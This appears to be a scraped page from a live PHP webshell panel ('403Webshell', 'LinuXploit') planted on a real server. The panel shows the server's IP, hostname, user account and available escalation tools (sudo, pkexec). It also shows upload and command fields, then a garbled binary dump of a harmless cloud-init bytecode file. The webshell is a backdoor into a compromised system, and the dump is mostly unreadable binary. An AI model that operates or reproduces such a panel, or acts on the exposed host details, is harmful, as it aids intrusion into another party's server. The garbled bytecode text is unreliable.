403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_emit_upstart.cpython-36.pyc
3

��b�@sZdZddlZddlmZddlmZddlmZeZddgZ	ej
e�Zdd	�Z
d
d�ZdS)a'
Emit Upstart
------------
**Summary:** emit upstart configuration

Emit upstart configuration for cloud-init modules on upstart based systems. No
user configuration should be required.

**Internal name:** ``cc_emit_upstart``

**Module frequency:** always

**Supported distros:** ubuntu, debian
�N)�log)�subp)�
PER_ALWAYSZubuntuZdebiancCs�tjjd�stjd�dStjj�}d|kr2|d=ddg}ytj||d�\}}d|kStjk
r�}ztjd	d
j	|�|j
�WYdd}~XnXdS)Nz
/sbin/initctlzno /sbin/initctl locatedFZUPSTART_SESSION�initctl�version)�envZupstartz%'%s' returned '%s', not using upstart� )�os�path�isfile�LOG�debug�environ�copyrZProcessExecutionError�joinZ	exit_code)ZmyenvZ	check_cmd�outZ_err�e�r�%/usr/lib/python3.6/cc_emit_upstart.py�is_upstart_system$s 

rc
Cs�|}|sdg}t�s$|jd|�dS|jjd�}x`|D]X}ddt|�d|g}ytj|�Wq6tk
r�}	z|jd||	�WYdd}	~	Xq6Xq6WdS)Nzcloud-configz!not upstart system, '%s' disabledZcloud_configr�emitzCLOUD_CFG=%sz.Emission of upstart event %s failed due to: %s)rr
�pathsZ
get_ipath_cur�strr�	ExceptionZwarning)
�nameZ_cfgZcloudr�argsZevent_namesZcfgpath�n�cmdrrrr�handle9s
r)�__doc__r	Z	cloudinitrZloggingrZcloudinit.settingsrZ	frequencyZdistrosZ	getLogger�__name__rrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit